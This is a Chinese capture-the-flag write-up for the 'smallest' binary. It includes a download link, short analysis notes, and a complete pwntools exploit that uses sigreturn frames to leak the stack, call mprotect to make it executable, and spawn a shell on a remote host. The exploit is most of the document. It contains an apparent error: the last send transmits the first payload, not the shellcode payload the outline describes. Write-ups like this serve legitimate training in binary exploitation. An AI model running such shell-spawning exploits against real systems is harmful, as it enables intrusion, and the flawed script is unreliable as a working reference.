文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb

1.查看保护机制以及搭建环境

2.ubuntu运行ida64远程调试文件,ida64打开程序分析:


除了start函数,其他什么都没有的程序。断点于第一行运行看看
可写的地方之后栈,所以只能修改栈的权限,在栈中写shellcode进行getshell。

3.编写exp:


from pwn import *

context.binary = './smallest'
read_start_add = 0x4000b0
write_add = 0x4000b3
syscall_add = 0x4000be
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
link = remote("192.168.93.137","6666")
payload = p64(read_start_add)
payload += p64(write_add)
payload += p64(read_start_add)
link.send(payload)
sleep(0.1)
link.send(payload[8:8+1])
sleep(0.1)
can_write_add = u64(link.recv()[8:16]) + 0x200
frame1 = SigreturnFrame(kernel='amd64')
frame1.rax = constants.SYS_read
frame1.rdi = 0
frame1.rsi = can_write_add
frame1.rdx = 0x200
frame1.rsp = can_write_add
frame1.rip = syscall_add
payload2 = p64(read_start_add)
payload2 += p64(syscall_add)
payload2 += str(frame1)
link.send(payload2)
sleep(0.1)
link.send(payload2[8:23])
sleep(0.1)
payload3 = p64(read_start_add)
payload3 += p64(syscall_add)
frame2 = SigreturnFrame(kernel='amd64')
frame2.rax = constants.SYS_mprotect
frame2.rdi = can_write_add & 0xfffffffffffff000
frame2.rsi = 0x1000
frame2.rdx = 7
frame2.rsp = can_write_add 
frame2.rip = syscall_add
payload3 += str(frame2)
link.send(payload3)
sleep(0.1)
link.send(payload3[8:23])
sleep(0.1)
payload4 = p64(can_write_add + 0x10) + shellcode
link.send(payload)
sleep(0.1)
link.interactive()

大致流程:

1.先执行read函数(程序一开始的),向栈中写入三个地址,泄露栈中的地址
2.向栈中写入两个地址和一个sigreturnframe,引发sigreturn系统调用,执行read函数,劫持rsp到新栈。
3.向新栈写入两个地址和一个sigreturnframe,引发sigreturn系统调用,执行mprotect,改变栈的权限(rwx),然后返回新栈的首地址
4.首地址指向的地址是read函数调用,向新栈中写入shellcode的引用地址,和shellcode
5.read函数结束,调转到shellcode引用地址,执行shellcode